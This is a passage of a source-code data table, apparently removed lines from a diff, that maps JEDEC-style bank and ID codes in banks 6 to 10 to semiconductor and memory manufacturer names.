-[6][0x2f - 1] = "Comsys Communication Ltd", -[6][0x30 - 1] = "Movidia Ltd", -[6][0x31 - 1] = "Javad GNSS Inc", -[6][0x32 - 1] = "Montage Technology Group", -[6][0x33 - 1] = "Trident Microsystems", -[6][0x34 - 1] = "Super Talent", -[6][0x35 - 1] = "Optichron Inc", -[6][0x36 - 1] = "Future Waves UK Ltd", -[6][0x37 - 1] = "SiBEAM Inc", -[6][0x38 - 1] = "InicoreInc", -[6][0x39 - 1] = "Virident Systems", -[6][0x3a - 1] = "M2000 Inc", -[6][0x3b - 1] = "ZeroG Wireless Inc", -[6][0x3c - 1] = "Gingle Technology Co Ltd", -[6][0x3d - 1] = "Space Micro Inc", -[6][0x3e - 1] = "Wilocity", -[6][0x3f - 1] = "Novafora Inc", -[6][0x40 - 1] = "iKoa Corporation", -[6][0x41 - 1] = "ASint Technology", -[6][0x42 - 1] = "Ramtron", -[6][0x43 - 1] = "Plato Networks Inc", -[6][0x44 - 1] = "IPtronics AS", -[6][0x45 - 1] = "Infinite-Memories", -[6][0x46 - 1] = "Parade Technologies Inc", -[6][0x47 - 1] = "Dune Networks", -[6][0x48 - 1] = "GigaDevice Semiconductor", -[6][0x49 - 1] = "Modu Ltd", -[6][0x4a - 1] = "CEITEC", -[6][0x4b - 1] = "Northrop Grumman", -[6][0x4c - 1] = "XRONET Corporation", -[6][0x4d - 1] = "Sicon Semiconductor AB", -[6][0x4e - 1] = "Atla Electronics Co Ltd", -[6][0x4f - 1] = "TOPRAM Technology", -[6][0x50 - 1] = "Silego Technology Inc", -[6][0x51 - 1] = "Kinglife", -[6][0x52 - 1] = "Ability Industries Ltd", -[6][0x53 - 1] = "Silicon Power Computer & Communications", -[6][0x54 - 1] = "Augusta Technology Inc", -[6][0x55 - 1] = "Nantronics Semiconductors", -[6][0x56 - 1] = "Hilscher Gesellschaft", -[6][0x57 - 1] = "Quixant Ltd", -[6][0x58 - 1] = "Percello Ltd", -[6][0x59 - 1] = "NextIO Inc", -[6][0x5a - 1] = "Scanimetrics Inc", -[6][0x5b - 1] = "FS-Semi Company Ltd", -[6][0x5c - 1] = "Infinera Corporation", -[6][0x5d - 1] = "SandForce Inc", -[6][0x5e - 1] = "Lexar Media", -[6][0x5f - 1] = "Teradyne Inc", -[6][0x60 - 1] = "Memory Exchange Corp", -[6][0x61 - 1] = "Suzhou Smartek Electronics", -[6][0x62 - 1] = "Avantium Corporation", -[6][0x63 - 1] = "ATP Electronics Inc", -[6][0x64 - 1] = "Valens Semiconductor Ltd", -[6][0x65 - 1] = "Agate Logic Inc", -[6][0x66 - 1] = "Netronome", -[6][0x67 - 1] = "Zenverge Inc", -[6][0x68 - 1] = "N-trig Ltd", -[6][0x69 - 1] = "SanMax Technologies Inc", -[6][0x6a - 1] = "Contour Semiconductor Inc", -[6][0x6b - 1] = "TwinMOS", -[6][0x6c - 1] = "Silicon Systems Inc", -[6][0x6d - 1] = "V-Color Technology Inc", -[6][0x6e - 1] = "Certicom Corporation", -[6][0x6f - 1] = "JSC ICC Milandr", -[6][0x70 - 1] = "PhotoFast Global Inc", -[6][0x71 - 1] = "InnoDisk Corporation", -[6][0x72 - 1] = "Muscle Power", -[6][0x73 - 1] = "Energy Micro", -[6][0x74 - 1] = "Innofidei", -[6][0x75 - 1] = "CopperGate Communications", -[6][0x76 - 1] = "Holtek Semiconductor Inc", -[6][0x77 - 1] = "Myson Century Inc", -[6][0x78 - 1] = "FIDELIX", -[6][0x79 - 1] = "Red Digital Cinema", -[6][0x7a - 1] = "Densbits Technology", -[6][0x7b - 1] = "Zempro", -[6][0x7c - 1] = "MoSys", -[6][0x7d - 1] = "Provigent", -[6][0x7e - 1] = "Triad Semiconductor Inc", -[7][0x01 - 1] = "Siklu Communication Ltd", -[7][0x02 - 1] = "A Force Manufacturing Ltd", -[7][0x03 - 1] = "Strontium", -[7][0x04 - 1] = "ALi Corp (Abilis Systems)", -[7][0x05 - 1] = "Siglead Inc", -[7][0x06 - 1] = "Ubicom Inc", -[7][0x07 - 1] = "Unifosa Corporation", -[7][0x08 - 1] = "Stretch Inc", -[7][0x09 - 1] = "Lantiq Deutschland GmbH", -[7][0x0a - 1] = "Visipro.", -[7][0x0b - 1] = "EKMemory", -[7][0x0c - 1] = "Microelectronics Institute ZTE", -[7][0x0d - 1] = "u-blox AG", -[7][0x0e - 1] = "Carry Technology Co Ltd", -[7][0x0f - 1] = "Nokia", -[7][0x10 - 1] = "King Tiger Technology", -[7][0x11 - 1] = "Sierra Wireless", -[7][0x12 - 1] = "HT Micron", -[7][0x13 - 1] = "Albatron Technology Co Ltd", -[7][0x14 - 1] = "Leica Geosystems AG", -[7][0x15 - 1] = "BroadLight", -[7][0x16 - 1] = "AEXEA", -[7][0x17 - 1] = "ClariPhy Communications Inc", -[7][0x18 - 1] = "Green Plug", -[7][0x19 - 1] = "Design Art Networks", -[7][0x1a - 1] = "Mach Xtreme Technology Ltd", -[7][0x1b - 1] = "ATO Solutions Co Ltd", -[7][0x1c - 1] = "Ramsta", -[7][0x1d - 1] = "Greenliant Systems Ltd", -[7][0x1e - 1] = "Teikon", -[7][0x1f - 1] = "Antec Hadron", -[7][0x20 - 1] = "NavCom Technology Inc", -[7][0x21 - 1] = "Shanghai Fudan Microelectronics", -[7][0x22 - 1] = "Calxeda Inc", -[7][0x23 - 1] = "JSC EDC Electronics", -[7][0x24 - 1] = "Kandit Technology Co Ltd", -[7][0x25 - 1] = "Ramos Technology", -[7][0x26 - 1] = "Goldenmars Technology", -[7][0x27 - 1] = "XeL Technology Inc", -[7][0x28 - 1] = "Newzone Corporation", -[7][0x29 - 1] = "ShenZhen MercyPower Tech", -[7][0x2a - 1] = "Nanjing Yihuo Technology", -[7][0x2b - 1] = "Nethra Imaging Inc", -[7][0x2c - 1] = "SiTel Semiconductor BV", -[7][0x2d - 1] = "SolidGear Corporation", -[7][0x2e - 1] = "Topower Computer Ind Co Ltd", -[7][0x2f - 1] = "Wilocity", -[7][0x30 - 1] = "Profichip GmbH", -[7][0x31 - 1] = "Gerad Technologies", -[7][0x32 - 1] = "Ritek Corporation", -[7][0x33 - 1] = "Gomos Technology Limited", -[7][0x34 - 1] = "Memoright Corporation", -[7][0x35 - 1] = "D-Broad Inc", -[7][0x36 - 1] = "HiSilicon Technologies", -[7][0x37 - 1] = "Syndiant Inc.", -[7][0x38 - 1] = "Enverv Inc", -[7][0x39 - 1] = "Cognex", -[7][0x3a - 1] = "Xinnova Technology Inc", -[7][0x3b - 1] = "Ultron AG", -[7][0x3c - 1] = "Concord Idea Corporation", -[7][0x3d - 1] = "AIM Corporation", -[7][0x3e - 1] = "Lifetime Memory Products", -[7][0x3f - 1] = "Ramsway", -[7][0x40 - 1] = "Recore Systems B.V.", -[7][0x41 - 1] = "Haotian Jinshibo Science Tech", -[7][0x42 - 1] = "Being Advanced Memory", -[7][0x43 - 1] = "Adesto Technologies", -[7][0x44 - 1] = "Giantec Semiconductor Inc", -[7][0x45 - 1] = "HMD Electronics AG", -[7][0x46 - 1] = "Gloway International (HK)", -[7][0x47 - 1] = "Kingcore", -[7][0x48 - 1] = "Anucell Technology Holding", -[7][0x49 - 1] = "Accord Software & Systems Pvt. Ltd", -[7][0x4a - 1] = "Active-Semi Inc", -[7][0x4b - 1] = "Denso Corporation", -[7][0x4c - 1] = "TLSI Inc", -[7][0x4d - 1] = "Qidan", -[7][0x4e - 1] = "Mustang", -[7][0x4f - 1] = "Orca Systems", -[7][0x50 - 1] = "Passif Semiconductor", -[7][0x51 - 1] = "GigaDevice Semiconductor (Beijing) Inc", -[7][0x52 - 1] = "Memphis Electronic", -[7][0x53 - 1] = "Beckhoff Automation GmbH", -[7][0x54 - 1] = "Harmony Semiconductor Corp", -[7][0x55 - 1] = "Air Computers SRL", -[7][0x56 - 1] = "TMT Memory", -[7][0x57 - 1] = "Eorex Corporation", -[7][0x58 - 1] = "Xingtera", -[7][0x59 - 1] = "Netsol", -[7][0x5a - 1] = "Bestdon Technology Co Ltd", -[7][0x5b - 1] = "Baysand Inc", -[7][0x5c - 1] = "Uroad Technology Co Ltd", -[7][0x5d - 1] = "Wilk Elektronik S.A.", -[7][0x5e - 1] = "AAI", -[7][0x5f - 1] = "Harman", -[7][0x60 - 1] = "Berg Microelectronics Inc", -[7][0x61 - 1] = "ASSIA Inc", -[7][0x62 - 1] = "Visiontek Products LLC", -[7][0x63 - 1] = "OCMEMORY", -[7][0x64 - 1] = "Welink Solution Inc", -[7][0x65 - 1] = "Shark Gaming", -[7][0x66 - 1] = "Avalanche Technology", -[7][0x67 - 1] = "R&D Center ELVEES OJSC", -[7][0x68 - 1] = "KingboMars Technology Co Ltd", -[7][0x69 - 1] = "High Bridge Solutions Industria Eletronica", -[7][0x6a - 1] = "Transcend Technology Co Ltd", -[7][0x6b - 1] = "Everspin Technologies", -[7][0x6c - 1] = "Hon-Hai Precision", -[7][0x6d - 1] = "Smart Storage Systems", -[7][0x6e - 1] = "Toumaz Group", -[7][0x6f - 1] = "Zentel Electronics Corporation", -[7][0x70 - 1] = "Panram International Corporation", -[7][0x71 - 1] = "Silicon Space Technology", -[7][0x72 - 1] = "LITE-ON IT Corporation", -[7][0x73 - 1] = "Inuitive", -[7][0x74 - 1] = "HMicro", -[7][0x75 - 1] = "BittWare Inc", -[7][0x76 - 1] = "GLOBALFOUNDRIES", -[7][0x77 - 1] = "ACPI Digital Co Ltd", -[7][0x78 - 1] = "Annapurna Labs", -[7][0x79 - 1] = "AcSiP Technology Corporation", -[7][0x7a - 1] = "Idea! Electronic Systems", -[7][0x7b - 1] = "Gowe Technology Co Ltd", -[7][0x7c - 1] = "Hermes Testing Solutions Inc", -[7][0x7d - 1] = "Positivo BGH", -[7][0x7e - 1] = "Intelligence Silicon Technology", -[8][0x01 - 1] = "3D PLUS", -[8][0x02 - 1] = "Diehl Aerospace", -[8][0x03 - 1] = "Fairchild", -[8][0x04 - 1] = "Mercury Systems", -[8][0x05 - 1] = "Sonics Inc", -[8][0x06 - 1] = "Emerson Automation Solutions", -[8][0x07 - 1] = "Shenzhen Jinge Information Co Ltd", -[8][0x08 - 1] = "SCWW", -[8][0x09 - 1] = "Silicon Motion Inc", -[8][0x0a - 1] = "Anurag", -[8][0x0b - 1] = "King Kong", -[8][0x0c - 1] = "FROM30 Co Ltd", -[8][0x0d - 1] = "Gowin Semiconductor Corp", -[8][0x0e - 1] = "Fremont Micro Devices Ltd", -[8][0x0f - 1] = "Ericsson Modems", -[8][0x10 - 1] = "Exelis", -[8][0x11 - 1] = "Satixfy Ltd", -[8][0x12 - 1] = "Galaxy Microsystems Ltd", -[8][0x13 - 1] = "Gloway International Co Ltd", -[8][0x14 - 1] = "Lab", -[8][0x15 - 1] = "Smart Energy Instruments", -[8][0x16 - 1] = "Approved Memory Corporation", -[8][0x17 - 1] = "Axell Corporation", -[8][0x18 - 1] = "Essencore Limited", -[8][0x19 - 1] = "Phytium", -[8][0x1a - 1] = "Xi'an UniIC Semiconductors Co Ltd", -[8][0x1b - 1] = "Ambiq Micro", -[8][0x1c - 1] = "eveRAM Technology Inc", -[8][0x1d - 1] = "Infomax", -[8][0x1e - 1] = "Butterfly Network Inc", -[8][0x1f - 1] = "Shenzhen City Gcai Electronics", -[8][0x20 - 1] = "Stack Devices Corporation", -[8][0x21 - 1] = "ADK Media Group", -[8][0x22 - 1] = "TSP Global Co Ltd", -[8][0x23 - 1] = "HighX", -[8][0x24 - 1] = "Shenzhen Elicks Technology", -[8][0x25 - 1] = "XinKai/Silicon Kaiser", -[8][0x26 - 1] = "Google Inc", -[8][0x27 - 1] = "Dasima International Development", -[8][0x28 - 1] = "Leahkinn Technology Limited", -[8][0x29 - 1] = "HIMA Paul Hildebrandt GmbH Co KG", -[8][0x2a - 1] = "Keysight Technologies", -[8][0x2b - 1] = "Techcomp International (Fastable)", -[8][0x2c - 1] = "Ancore Technology Corporation", -[8][0x2d - 1] = "Nuvoton", -[8][0x2e - 1] = "Korea Uhbele International Group Ltd", -[8][0x2f - 1] = "Ikegami Tsushinki Co Ltd", -[8][0x30 - 1] = "RelChip Inc", -[8][0x31 - 1] = "Baikal Electronics", -[8][0x32 - 1] = "Nemostech Inc", -[8][0x33 - 1] = "Memorysolution GmbH", -[8][0x34 - 1] = "Silicon Integrated Systems Corporation", -[8][0x35 - 1] = "Xiede", -[8][0x36 - 1] = "BRC", -[8][0x37 - 1] = "Flash Chi", -[8][0x38 - 1] = "Jone", -[8][0x39 - 1] = "GCT Semiconductor Inc", -[8][0x3a - 1] = "Hong Kong Zetta Device Technology", -[8][0x3b - 1] = "Unimemory Technology(s) Pte Ltd", -[8][0x3c - 1] = "Cuso", -[8][0x3d - 1] = "Kuso", -[8][0x3e - 1] = "Uniquify Inc", -[8][0x3f - 1] = "Skymedi Corporation", -[8][0x40 - 1] = "Core Chance Co Ltd", -[8][0x41 - 1] = "Tekism Co Ltd", -[8][0x42 - 1] = "Seagate Technology PLC", -[8][0x43 - 1] = "Hong Kong Gaia Group Co Limited", -[8][0x44 - 1] = "Gigacom Semiconductor LLC", -[8][0x45 - 1] = "V2 Technologies", -[8][0x46 - 1] = "TLi", -[8][0x47 - 1] = "Neotion", -[8][0x48 - 1] = "Lenovo", -[8][0x49 - 1] = "Shenzhen Zhongteng Electronic Corp Ltd", -[8][0x4a - 1] = "Compound Photonics", -[8][0x4b - 1] = "in2H2 inc", -[8][0x4c - 1] = "Shenzhen Pango Microsystems Co Ltd", -[8][0x4d - 1] = "Vasekey", -[8][0x4e - 1] = "Cal-Comp Industria de Semicondutores", -[8][0x4f - 1] = "Eyenix Co Ltd", -[8][0x50 - 1] = "Heoriady", -[8][0x51 - 1] = "Accelerated Memory Production Inc", -[8][0x52 - 1] = "INVECAS Inc", -[8][0x53 - 1] = "AP Memory", -[8][0x54 - 1] = "Douqi Technology", -[8][0x55 - 1] = "Etron Technology Inc", -[8][0x56 - 1] = "Indie Semiconductor", -[8][0x57 - 1] = "Socionext Inc", -[8][0x58 - 1] = "HGST", -[8][0x59 - 1] = "EVGA", -[8][0x5a - 1] = "Audience Inc", -[8][0x5b - 1] = "EpicGear", -[8][0x5c - 1] = "Vitesse Enterprise Co", -[8][0x5d - 1] = "Foxtronn International Corporation", -[8][0x5e - 1] = "Bretelon Inc", -[8][0x5f - 1] = "Graphcore", -[8][0x60 - 1] = "Eoplex Inc", -[8][0x61 - 1] = "MaxLinear Inc", -[8][0x62 - 1] = "ETA Devices", -[8][0x63 - 1] = "LOKI", -[8][0x64 - 1] = "IMS Electronics Co Ltd", -[8][0x65 - 1] = "Dosilicon Co Ltd", -[8][0x66 - 1] = "Dolphin Integration", -[8][0x67 - 1] = "Shenzhen Mic Electronics Technolog", -[8][0x68 - 1] = "Boya Microelectronics Inc", -[8][0x69 - 1] = "Geniachip (Roche)", -[8][0x6a - 1] = "Axign", -[8][0x6b - 1] = "Kingred Electronic Technology Ltd", -[8][0x6c - 1] = "Chao Yue Zhuo Computer Business Dept.", -[8][0x6d - 1] = "Guangzhou Si Nuo Electronic Technology.", -[8][0x6e - 1] = "Crocus Technology Inc", -[8][0x6f - 1] = "Creative Chips GmbH", -[8][0x70 - 1] = "GE Aviation Systems LLC.", -[8][0x71 - 1] = "Asgard", -[8][0x72 - 1] = "Good Wealth Technology Ltd", -[8][0x73 - 1] = "TriCor Technologies", -[8][0x74 - 1] = "Nova-Systems GmbH", -[8][0x75 - 1] = "JUHOR", -[8][0x76 - 1] = "Zhuhai Douke Commerce Co Ltd", -[8][0x77 - 1] = "DSL Memory", -[8][0x78 - 1] = "Anvo-Systems Dresden GmbH", -[8][0x79 - 1] = "Realtek", -[8][0x7a - 1] = "AltoBeam", -[8][0x7b - 1] = "Wave Computing", -[8][0x7c - 1] = "Beijing TrustNet Technology Co Ltd", -[8][0x7d - 1] = "Innovium Inc", -[8][0x7e - 1] = "Starsway Technology Limited", -[9][0x01 - 1] = "Weltronics Co LTD", -[9][0x02 - 1] = "VMware Inc", -[9][0x03 - 1] = "Hewlett Packard Enterprise", -[9][0x04 - 1] = "INTENSO", -[9][0x05 - 1] = "Puya Semiconductor", -[9][0x06 - 1] = "MEMORFI", -[9][0x07 - 1] = "MSC Technologies GmbH", -[9][0x08 - 1] = "Txrui", -[9][0x09 - 1] = "SiFive Inc", -[9][0x0a - 1] = "Spreadtrum Communications", -[9][0x0b - 1] = "XTX Technology Limited", -[9][0x0c - 1] = "UMAX Technology", -[9][0x0d - 1] = "Shenzhen Yong Sheng Technology", -[9][0x0e - 1] = "SNOAMOO (Shenzhen Kai Zhuo Yue)", -[9][0x0f - 1] = "Daten Tecnologia LTDA", -[9][0x10 - 1] = "Shenzhen XinRuiYan Electronics", -[9][0x11 - 1] = "Eta Compute", -[9][0x12 - 1] = "Energous", -[9][0x13 - 1] = "Raspberry Pi Trading Ltd", -[9][0x14 - 1] = "Shenzhen Chixingzhe Tech Co Ltd", -[9][0x15 - 1] = "Silicon Mobility", -[9][0x16 - 1] = "IQ-Analog Corporation", -[9][0x17 - 1] = "Uhnder Inc", -[9][0x18 - 1] = "Impinj", -[9][0x19 - 1] = "DEPO Computers", -[9][0x1a - 1] = "Nespeed Sysems", -[9][0x1b - 1] = "Yangtze Memory Technologies Co Ltd", -[9][0x1c - 1] = "MemxPro Inc", -[9][0x1d - 1] = "Tammuz Co Ltd", -[9][0x1e - 1] = "Allwinner Technology", -[9][0x1f - 1] = "Shenzhen City Futian District Qing Xuan Tong Computer Trading Firm", -[9][0x20 - 1] = "XMC", -[9][0x21 - 1] = "Teclast", -[9][0x22 - 1] = "Maxsun", -[9][0x23 - 1] = "Haiguang Integrated Circuit Design", -[9][0x24 - 1] = "RamCENTER Technology", -[9][0x25 - 1] = "Phison Electronics Corporation", -[9][0x26 - 1] = "Guizhou Huaxintong Semi-Conductor", -[9][0x27 - 1] = "Network Intelligence", -[9][0x28 - 1] = "Continental Technology (Holdings)", -[9][0x29 - 1] = "Guangzhou Huayan Suning Electronic", -[9][0x2a - 1] = "Guangzhou Zhouji Electronic Co Ltd", -[9][0x2b - 1] = "Shenzhen Giant Hui Kang Tech Co Ltd", -[9][0x2c - 1] = "Shenzhen Yilong Innovative Co Ltd", -[9][0x2d - 1] = "Neo Forza", -[9][0x2e - 1] = "Lyontek Inc", -[9][0x2f - 1] = "Shanghai Kuxin Microelectronics Ltd", -[9][0x30 - 1] = "Shenzhen Larix Technology Co Ltd", -[9][0x31 - 1] = "Qbit Semiconductor Ltd", -[9][0x32 - 1] = "Insignis Technology Corporation", -[9][0x33 - 1] = "Lanson Memory Co Ltd", -[9][0x34 - 1] = "Shenzhen Superway Electronics Co Ltd", -[9][0x35 - 1] = "Canaan-Creative Co Ltd", -[9][0x36 - 1] = "Black Diamond Memory", -[9][0x37 - 1] = "Shenzhen City Parker Baking Electronics", -[9][0x38 - 1] = "Shenzhen Baihong Technology Co Ltd", -[9][0x39 - 1] = "GEO Semiconductors", -[9][0x3a - 1] = "OCPC", -[9][0x3b - 1] = "Artery Technology Co Ltd", -[9][0x3c - 1] = "Jinyu", -[9][0x3d - 1] = "ShenzhenYing Chi Technology Development", -[9][0x3e - 1] = "Shenzhen Pengcheng Xin Technology", -[9][0x3f - 1] = "Pegasus Semiconductor (Shanghai) Co", -[9][0x40 - 1] = "Mythic Inc", -[9][0x41 - 1] = "Elmos Semiconductor AG", -[9][0x42 - 1] = "Kllisre", -[9][0x43 - 1] = "Shenzhen Winconway Technology", -[9][0x44 - 1] = "Shenzhen Xingmem Technology Corp", -[9][0x45 - 1] = "Gold Key Technology Co Ltd", -[9][0x46 - 1] = "Habana Labs Ltd", -[9][0x47 - 1] = "Hoodisk Electronics Co Ltd", -[9][0x48 - 1] = "SemsoTai (SZ) Technology Co Ltd", -[9][0x49 - 1] = "OM Nanotech Pvt. Ltd", -[9][0x4a - 1] = "Shenzhen Zhifeng Weiye Technology", -[9][0x4b - 1] = "Xinshirui (Shenzhen) Electronics Co", -[9][0x4c - 1] = "Guangzhou Zhong Hao Tian Electronic", -[9][0x4d - 1] = "Shenzhen Longsys Electronics Co Ltd", -[9][0x4e - 1] = "Deciso B.V.", -[9][0x4f - 1] = "Puya Semiconductor (Shenzhen)", -[9][0x50 - 1] = "Shenzhen Veineda Technology Co Ltd", -[9][0x51 - 1] = "Antec Memory", -[9][0x52 - 1] = "Cortus SAS", -[9][0x53 - 1] = "Dust Leopard", -[9][0x54 - 1] = "MyWo AS", -[9][0x55 - 1] = "J&A Information Inc", -[9][0x56 - 1] = "Shenzhen JIEPEI Technology Co Ltd", -[9][0x57 - 1] = "Heidelberg University", -[9][0x58 - 1] = "Flexxon PTE Ltd", -[9][0x59 - 1] = "Wiliot", -[9][0x5a - 1] = "Raysun Electronics International Ltd", -[9][0x5b - 1] = "Aquarius Production Company LLC", -[9][0x5c - 1] = "MACNICA DHW LTDA", -[9][0x5d - 1] = "Intelimem", -[9][0x5e - 1] = "Zbit Semiconductor Inc", -[9][0x5f - 1] = "Shenzhen Technology Co Ltd", -[9][0x60 - 1] = "Signalchip", -[9][0x61 - 1] = "Shenzen Recadata Storage Technology", -[9][0x62 - 1] = "Hyundai Technology", -[9][0x63 - 1] = "Shanghai Fudi Investment Development", -[9][0x64 - 1] = "Aixi Technology", -[9][0x65 - 1] = "Tecon MT", -[9][0x66 - 1] = "Onda Electric Co Ltd", -[9][0x67 - 1] = "Jinshen", -[9][0x68 - 1] = "Kimtigo Semiconductor (HK) Limited", -[9][0x69 - 1] = "IIT Madras", -[9][0x6a - 1] = "Shenshan (Shenzhen) Electronic", -[9][0x6b - 1] = "Hefei Core Storage Electronic Limited", -[9][0x6c - 1] = "Colorful Technology Ltd", -[9][0x6d - 1] = "Visenta (Xiamen) Technology Co Ltd", -[9][0x6e - 1] = "Roa Logic BV", -[9][0x6f - 1] = "NSITEXE Inc", -[9][0x70 - 1] = "Hong Kong Hyunion Electronics", -[9][0x71 - 1] = "ASK Technology Group Limited", -[9][0x72 - 1] = "GIGA-BYTE Technology Co Ltd", -[9][0x73 - 1] = "Terabyte Co Ltd", -[9][0x74 - 1] = "Hyundai Inc", -[9][0x75 - 1] = "EXCELERAM", -[9][0x76 - 1] = "PsiKick", -[9][0x77 - 1] = "Netac Technology Co Ltd", -[9][0x78 - 1] = "PCCOOLER", -[9][0x79 - 1] = "Jiangsu Huacun Electronic Technology", -[9][0x7a - 1] = "Shenzhen Micro Innovation Industry", -[9][0x7b - 1] = "Beijing Tongfang Microelectronics Co", -[9][0x7c - 1] = "XZN Storage Technology", -[9][0x7d - 1] = "ChipCraft Sp. z.o.o.", -[9][0x7e - 1] = "ALLFLASH Technology Limited", -[10][0x01 - 1] = "Foerd Technology Co Ltd", -[10][0x02 - 1] = "KingSpec", -[10][0x03 - 1] = "Codasip GmbH", -[10][0x04 - 1] = "SL Link Co Ltd", -[10][0x05 - 1] = "Shenzhen Kefu Technology Co Limited", -[10][0x06 - 1] = "Shenzhen ZST Electronics Technology", -[10][0x07 - 1] = "Kyokuto Electronic Inc", -[10][0x08 - 1] = "Warrior Technology", -[10][0x09 - 1] = "TRINAMIC Motion Control GmbH & Co", -[10][0x0a - 1] = "PixelDisplay Inc", -[10][0x0b - 1] = "Shenzhen Futian District Bo Yueda Elec", -[10][0x0c - 1] = "Richtek Power", -[10][0x0d - 1] = "Shenzhen LianTeng Electronics Co Ltd", -[10][0x0e - 1] = "AITC Memory", -[10][0x0f - 1] = "UNIC Memory Technology Co Ltd", -[10][0x10 - 1] = "Shenzhen Huafeng Science Technology", -[10][0x11 - 1] = "CXMT", -[10][0x12 - 1] = "Guangzhou Xinyi Heng Computer Trading Firm", -[10][0x13 - 1] = "SambaNova Systems", -[10][0x14 - 1] = "V-GEN", -[10][0x15 - 1] = "Jump Trading", -[10][0x16 - 1] = "Ampere Computing", -[10][0x17 - 1] = "Shenzhen Zhongshi Technology Co Ltd", -[10][0x18 - 1] = "Shenzhen Zhongtian Bozhong Technology", -[10][0x19 - 1] = "Tri-Tech International", -[10][0x1a - 1] = "Silicon Intergrated Systems Corporation", -[10][0x1b - 1] = "Shenzhen HongDingChen Information", -[10][0x1c - 1] = "Plexton Holdings Limited", -[10][0x1d - 1] = "AMS (Jiangsu Advanced Memory Semi)", -[10][0x1e - 1] = "Wuhan Jing Tian Interconnected Tech Co", -[10][0x1f - 1] = "Axia Memory Technology", -[10][0x20 - 1] = "Chipset Technology Holding Limited", -[10][0x21 - 1] = "Shenzhen Xinshida Technology Co Ltd", -[10][0x22 - 1] = "Shenzhen Chuangshifeida Technology", -[10][0x23 - 1] = "Guangzhou MiaoYuanJi Technology", -[10][0x24 - 1] = "ADVAN Inc", -[10][0x25 - 1] = "Shenzhen Qianhai Weishengda Electronic Commerce Company Ltd", -[10][0x26 - 1] = "Guangzhou Guang Xie Cheng Trading", -[10][0x27 - 1] = "StarRam International Co Ltd", -[10][0x28 - 1] = "Shen Zhen XinShenHua Tech Co Ltd", -[10][0x29 - 1] = "UltraMemory Inc", -[10][0x2a - 1] = "New Coastline Global Tech Industry Co", -[10][0x2b - 1] = "Sinker", -[10][0x2c - 1] = "Diamond", -[10][0x2d - 1] = "PUSKILL", -[10][0x2e - 1] = "Guangzhou Hao Jia Ye Technology Co", -[10][0x2f - 1] = "Ming Xin Limited", -[10][0x30 - 1] = "Barefoot Networks", -[10][0x31 - 1] = "Biwin Semiconductor (HK) Co Ltd", -[10][0x32 - 1] = "UD INFO Corporation", -[10][0x33 - 1] = "Trek Technology (S) PTE Ltd", -[10][0x34 - 1] = "Xiamen Kingblaze Technology Co Ltd", -[10][0x35 - 1] = "Shenzhen Lomica Technology Co Ltd", -[10][0x36 - 1] = "Nuclei System Technology Co Ltd", -[10][0x37 - 1] = "Wuhan Xun Zhan Electronic Technology", -[10][0x38 - 1] = "Shenzhen Ingacom Semiconductor Ltd", -[10][0x39 - 1] = "Zotac Technology Ltd", -[10][0x3a - 1] = "Foxline", -[10][0x3b - 1] = "Shenzhen Farasia Science Technology", -[10][0x3c - 1] = "Efinix Inc", -[10][0x3d - 1] = "Hua Nan San Xian Technology Co Ltd", -[10][0x3e - 1] = "Goldtech Electronics Co Ltd", -[10][0x3f - 1] = "Shanghai Han Rong Microelectronics Co", -[10][0x40 - 1] = "Shenzhen Zhongguang Yunhe Trading", -[10][0x41 - 1] = "Smart Shine(QingDao) Microelectronics", -[10][0x42 - 1] = "Thermaltake Technology Co Ltd", -[10][0x43 - 1] = "Shenzhen O'Yang Maile Technology Ltd", -[10][0x44 - 1] = "UPMEM", -[10][0x45 - 1] = "Chun Well Technology Holding Limited", -[10][0x46 - 1] = "Astera Labs Inc", -[10][0x47 - 1] = "Winconway", -[10][0x48 - 1] = "Advantech Co Ltd", -[10][0x49 - 1] = "Chengdu Fengcai Electronic Technology", -[10][0x4a - 1] = "The Boeing Company", -[10][0x4b - 1] = "Blaize Inc", -[10][0x4c - 1] = "Ramonster Technology Co Ltd", -[10][0x4d - 1] = "Wuhan Naonongmai Technology Co Ltd", -[10][0x4e - 1] = "Shenzhen Hui ShingTong Technology", -[10][0x4f - 1] = "Yourlyon", -[10][0x50 - 1] = "Fabu Technology", -[10][0x51 - 1] = "Shenzhen Yikesheng Technology Co Ltd", -[10][0x52 - 1] = "NOR-MEM", -[10][0x53 - 1] = "Cervoz Co Ltd", -[10][0x54 - 1] = "Bitmain Technologies Inc.", -[10][0x55 - 1] = "Facebook Inc", -[10][0x56 - 1] = "Shenzhen Longsys Electronics Co Ltd", -[10][0x57 - 1] = "Guangzhou Siye Electronic Technology", -[10][0x58 - 1] = "Silergy", -[10][0x59 - 1] = "Adamway", -[10][0x5a - 1] = "PZG", -[10][0x5b - 1] = "Shenzhen King Power Electronics", -[10][0x5c - 1] = "Guangzhou ZiaoFu Tranding Co Ltd", -[10][0x5d - 1] = "Shenzhen SKIHOTAR Semiconductor", -[10][0x5e - 1] = "PulseRain Technology", -[10][0x5f - 1] = "Seeker Technology Limited", -[10][0x60 - 1] = "Shenzhen OSCOO Tech Co Ltd", -[10][0x61 - 1] = "Shenzhen Yze Technology Co Ltd", -[10][0x62 - 1] = "Shenzhen Jieshuo Electronic Commerce", -[10][0x63 - 1] = "Gazda", -[10][0x64 - 1] = "Hua Wei Technology Co Ltd", -[10][0x65 - 1] = "Esperanto Technologies", -[10][0x66 - 1] = "JinSheng Electronic (Shenzhen) Co Ltd", -[10][0x67 - 1] = "Shenzhen Shi Bolunshuai Technology", -[10][0x68 - 1] = "Shanghai Rei Zuan Information Tech", -[10][0x69 - 1] = "Fraunhofer IIS", -[10][0x6a - 1] = "Kandou Bus SA", -[10][0x6b - 1] = "Acer", -[10][0x6c - 1] = "Artmem Technology Co Ltd", -[10][0x6d - 1] = "Gstar Semiconductor Co Ltd", -[10][0x6e - 1] = "ShineDisk", -[10][0x6f - 1] = "Shenzhen CHN Technology Co Ltd", -[10][0x70 - 1] = "UnionChip Semiconductor Co Ltd", -[10][0x71 - 1] = "Tanbassh", -[10][0x72 - 1] = "Shenzhen Tianyu Jieyun Intl Logistics", -[10][0x73 - 1] = "MCLogic Inc", -[10][0x74 - 1] = "Eorex Corporation", -[10][0x75 - 1] = "Arm Technology (China) Co Ltd", -[10][0x76 - 1] = "Lexar Co Limited", -[10][0x77 - 1] = "QinetiQ Group plc", -[10][0x78 - 1] = "Exascend", -[10][0x79 - 1] = "Hong Kong Hyunion Electronics Co Ltd", -[10][0x7a - 1] = "Shenzhen Banghong Electronics Co Ltd", -[10][0x7b - 1] = "MBit Wireless Inc", -[10][0x7c - 1] = "Hex Five Security Inc", -[10][0x7d - 1] = "ShenZhen Juhor Precision Tech Co Ltd", -[10][0x7e - 1] = "Shenzhen Reeinno Technology Co Ltd", 